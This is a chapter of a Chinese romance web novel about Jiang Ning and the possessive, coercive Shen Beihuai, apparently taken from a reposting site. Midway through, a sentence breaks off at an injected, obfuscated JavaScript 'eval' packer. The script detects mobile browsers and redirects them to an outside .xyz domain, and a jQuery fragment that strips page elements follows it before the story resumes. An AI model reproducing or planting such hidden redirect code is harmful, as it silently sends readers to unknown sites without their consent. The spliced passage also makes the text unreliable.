《难戒于她》by十有九溺
首发/独家发表于晋江文学城
-083-
沈北淮说到做到，第二天就把人放了。
姜凝在小贺的监督下，去接慕行云。
慕行云并不认识小贺，但敏锐的察觉出来小贺身份的不寻常，他看着姜凝，有千言万语想问，最后只汇成了一句话，“阿凝，你还好吗？”
姜凝一点也不好，但她不能说，最起码对慕行云不能说。她点点头，轻声问道：“我没事儿，去吃饭好吗？”
“好。”
就近找了一家餐厅，慕行云食不知味的吃了几口，低声道：“对不起，阿凝，我给你添麻烦了。”
姜凝看着慕行云脸上的憔悴，心里叹了口气，“我没事儿，只是你以后不要这么冲动了。”
“我只对你一个人冲动过。”慕行云神色黯然，“我只想保护你，可我搞砸了。”
姜凝没有什么力气再去教育慕行云，况且慕行云懂的那么多，以她的浅薄经验，又能说些什么大道理？
“行云，每个人都有每个人的轨迹，或许因为上天的安排，彼此有过短暂的交集，人生那么漫长又短暂，有那么一瞬间的交集就足够了。”
慕行云定定的看着她，“所以，你也有过对吗？”
姜凝迟疑了一下，点点头，“有，但事情已经过去了。”
慕行云沉默了好几分钟，最终释怀的笑了，“你说得对，有那么一瞬间的交集就够了。”
这顿饭吃完，小贺也把相关手续都办好了，他驱车前往机场。
登机口，慕行云看着姜凝，最后还是没忍住冲过来抱住她，这个拥抱倾注了所有的热情和喜爱，最后他才恋恋不舍的放开，难过悲伤地说：“阿凝，沈北淮配不上你，如果哪天你想换个城市生活，我随时欢迎。”
姜凝淡淡一笑，“我会的。”
慕行云深深的看了她一眼，然后仿佛下定了某种决心一样，头也不回的上了飞机。
飞机很快起飞，慢慢的变成一个黑点，最后万里无云，什么也看不见。
姜凝在原地停了很久很久，直到小贺提醒她该走了，她这才上了车。
小贺看出来姜凝不对劲，欲言又止，最后还是忍不住开口了，“姜小姐，您要去哪儿？”
“你就这么迫不及待把我送到沈北淮身边吗？”姜凝一脸讥讽。
“我没那个意思。”
“没有就送我去工作室。”姜凝垂着眼，“晚上我会过去，别再逼我。”
小贺悻悻的摸了摸鼻子，老老实实把人送到地方。
晚上七点多，姜凝给何云发去了信息，说要加班，可能不回来了，让她记得按时吃饭。
何云感觉到了什么，“凝凝，是不是发生什么事了？”
“没什么事。”姜凝避重就轻，“妈，你别瞎想，只是工作有点忙。”
何云很不放心，“我去给你送饭吧，陪你一会儿。”
“你别来。”姜凝拒绝了，“马上赶到下班高峰期了，来回跑不方便。妈，你放心，有事我会跟你说的，别想那么多好不好。”
何云半信半疑，最后还是打消了过来的念头。
姜凝安抚好何云，把最后一页合同看完，这才驱车开往沈北淮那里。
说不上是麻木应对，还是坦然接受，总之，姜凝现在很平静。
当没有退路、无法挽回的时候，任何愤怒和抱怨都无济于事，她只能冷静、平静的面对沈北淮。
到了地方，姜凝定定的看着门锁，最后还是人脸识别开了门。
一进门，她就看见沈北淮正盘着腿坐在沙发上，他显然是在等她，“怎么才过来。”
“忙工作。”姜凝很平静淡然，她看着沈北淮，等着沈北淮提要求。
沈北淮拉着她坐到沙发上，习惯性的环着她的腰，脑袋轻轻蹭着她温暖的脖颈，“我等了你一天，都没有吃饭。”
他的动作很熟稔，仿佛什么都没有发生，仿佛俩人还像之前那样，姜凝感到一种前所未有的悲哀，她在心里叹了口气，“你想吃什么？”
“想吃你做的面。”沈北淮用唇碰了碰她的脸，轻声说：“我想很久了。”
姜凝推开他，“那我现在去做。”
姜凝去做饭，沈北淮就在厨房外靠着墙看着她，眼底全是眷恋和酸楚。
热气腾腾的两碗阳春面很快上桌，姜凝眼观鼻鼻观心埋头吃着，没有分给沈北淮半个眼神。
餐桌上一片死寂。
最终沈北淮还是忍不住开口了，“姜凝，你妈-的花店，我会帮忙；你的工作室，我也会帮忙。”
姜凝顿了顿，“好。”
“我会解决你所有的烦恼和辛苦，帮你照顾家人，让你过上无忧无虑开开心心的生活。”沈北淮明亮的眼睛全是坚定，“我会对你好一辈子，比任何人都好，所以你不要离开我。”
姜凝睫毛颤了颤，“好。”
尽管得到了想要的答案，可沈北淮还是不安心不踏实，心里流动着一股难以言喻的哀伤。
他知道自己不正常，从姜凝想要离开他的那一刻，他就已经不正常了。
本来以为可以永远拥有的人，总是默默在他身边的人，在消失的那一刻，他才意识到‘没有水鱼会死’‘没有空气会窒息’，早在第一次见面，姜凝就已经在他心里种下了一颗种子，在时光的带领下，早就成了一颗参天大树，他享受着、习惯着，却无视了这颗大树早就深深植入他的血液、皮肉、神经、骨骼，当这颗大树要离开的时候，简直跟剥皮抽筋那般痛苦。
世界上怎么会有这么一个人，能让他痛苦到这种地步？又让他恐惧到这种地步？
每个人都有自己的报应，姜凝就是他不珍惜的报应。
姜凝不知道沈北淮那些千肠百转的心思，她也不想知道，她只知道她和沈北淮，以前是包养，现在也不是谈恋爱；以前她是被迫的，现在是她主动的。
也好，就这样也好，就当是养了一条比格犬。
只要沈北淮别再发疯别再伤害别人，她可以忍受那些羞-耻、难过、疲倦，有些事情她自己一个人承担就够了。
这天晚上，沈北淮手脚并用的缠着姜凝沉沉睡了一觉。
只要姜凝在，他就没有吃安眠药了。
听着身边均匀的呼吸声，姜凝一-夜没合眼，她看着沉静安静的沈北淮，看着他不设防的脖子，好几次都生出来一股浓烈的恶意，可到最后，她还是拼命忍住了。
当你凝望深渊，深渊也在凝望你。
她做不到，她也不能眼睁睁的看着自己迷失在深渊中。
第二天一早，姜凝就走了。
她走的时候，沈北淮还没醒。
姜凝先回了趟家，陪着何云一起吃了顿早饭，然后去了工作室。
正忙着，姜凝的手机响了，她一看，是沈北淮打来的电话。
想了想，她点了接听，“喂。”
沈北淮显然是刚睡醒，说话带着迷蒙的鼻音，“你去哪儿了？”
“上班。”
“上班？”沈北淮一下子清醒了，“今天是周末，你上什么班？忙完过来陪我。”
“我要忙到晚上，而且我不可能每天都找借口加班夜不归宿。”
沈北淮没说话。
姜凝也没打算等他说话，刚想按了挂断键，就发现他已经挂断了。
挂断了也好，免得一-大早闹心。
姜凝没在意，把手机放到一边。
赶到晚上五点多，姜凝提前下了班，她去超市买了些食材，打算晚上和何云好好的吃一顿。
花店的事情解决了，何云也一扫昔日的乌云，说说笑笑的跟着姜凝一起回家。
夏天的白天很长，俩人回去的时候，夕阳还没有完全落下，姜凝提着东西走在前面，还没有到家门口，远远的就看到门口有个熟悉的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393622|170512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身影，修长的身体靠在门口的柜子上，头上带着鸭舌帽，只露出俊朗的半张脸。
下意识的，她放慢了脚步。
何云看到门口的身影，吓了一跳，“这、这，你谁啊……”
她的声音惊动了沈北淮，沈北淮转过头，英俊的脸在夕阳的余晖下格外的漂亮，他朝着何云微微一笑，“伯母，我是姜凝的朋友。”
“朋友？”
何云惊疑的看了姜凝一眼，小心翼翼道：“凝凝，让他进去吗？”
姜凝能说不让沈北淮进去吗，不让他进去指不定又发什么疯。她面色很镇定的点点头，但在何云看不见的地方，狠狠的瞪了沈北淮一眼。
沈北淮没脸没皮惯了，倒不觉得有什么，他大咧咧的跟着进去，随手关了门。
何云给沈北淮倒了杯水，就去厨房处理食材了。
姜凝看着沈北淮摘下帽子，露出来脸上还没有完全好的淤青，忍不住道：“你就不能别乱跑吗？”
沈北淮喝了口水，慢吞吞地说：“见不到你，我静不下来。”
姜凝真是无话可说，她懒得跟沈北淮在客厅大眼瞪小眼，起身去了卧室，没料到沈北淮也跟着进来了。
姜凝吓了一跳，“你干什么，出去。”
沈北淮不管是不是在自己家，一把抱住她，重重的亲到她唇上，呢-喃道：“我好想你。”
姜凝是真怕何云听到什么，她强压下恼怒的心情，冷着脸道：“别乱来，一会儿留你吃饭。”
“真的？”
沈北淮神采奕奕，眼睛蹭然亮了。
姜凝点点头，推开他：“以后别瞎跑来，提前跟我说知道吗？”
“好。”
沈北淮倒是意外的听话，他抱着姜凝蹭了又蹭，“我去帮伯母打下手。”
姜凝翻了个白眼，自顾自的去了客厅。
沈北淮说到做到，还真的去了厨房，一把夺过何云手里的青菜，仔细的清洗了起来。
他的动作不熟练，但还挺认真。
何云没想到沈北淮这一看就身份不凡的人居然屈尊做饭，她赶了又赶，但最后也没赶走他，只好任由他去。
吃饭的时候，沈北淮瞧出来姜凝不愿意理他，干脆转过头跟何云聊天。
他的社交一向很牛，认真跟人打交道起来，没人能抵抗得了，一顿饭下来，把何云哄得简直笑不拢嘴。
这顿饭吃完，何云也大概估摸出了点什么，她借口下去扔垃圾，把空间留给姜凝和沈北淮。
姜凝收拾好桌子，一回头就看见沈北淮含笑看着她，眼里有着她熟悉的某种炙热。
她沉默了一下，平静地说：“你要想做，就快点。我妈随时会回来。”
沈北淮脸上的笑顿时僵了，“我没有那个意思，我找你不是为了那个……”
“那是为了什么？”姜凝这顿饭吃得可以说是提心吊胆，她生怕何云看出来什么，也怕沈北淮说一些不该说的话。
她很平静的看着沈北淮，“你要是不想，何必又专门跑来？难不成是讨好我？”
沈北淮神色一下子黯淡了，“姜凝，你不想，我不会勉强你。我……”
他‘我’了半天，也说不出来这次来的目的。
姜凝淡淡的看着他，“不做就走，做就尽快。”
沈北淮咬咬唇，低声道：“上次的事情，是我对不起你，我已经发誓了，我要是再敢勉强你，我就把自己那玩意剁了。”
“噢。”
姜凝冷淡的应了一声，转身打开了大门，“那你现在走吧。”
沈北淮看着敞开的大门，满脸委屈，他磨磨蹭蹭的站起来，往门口走去。
经过姜凝时，又倏然用力的抱住她。
姜凝无动于衷，甚至连眉头都没有皱一下。
沈北淮依依不舍的松开，他吸了吸鼻子，不情不愿的走了。
对他来说，此刻能抱到姜凝，就已经很满足了。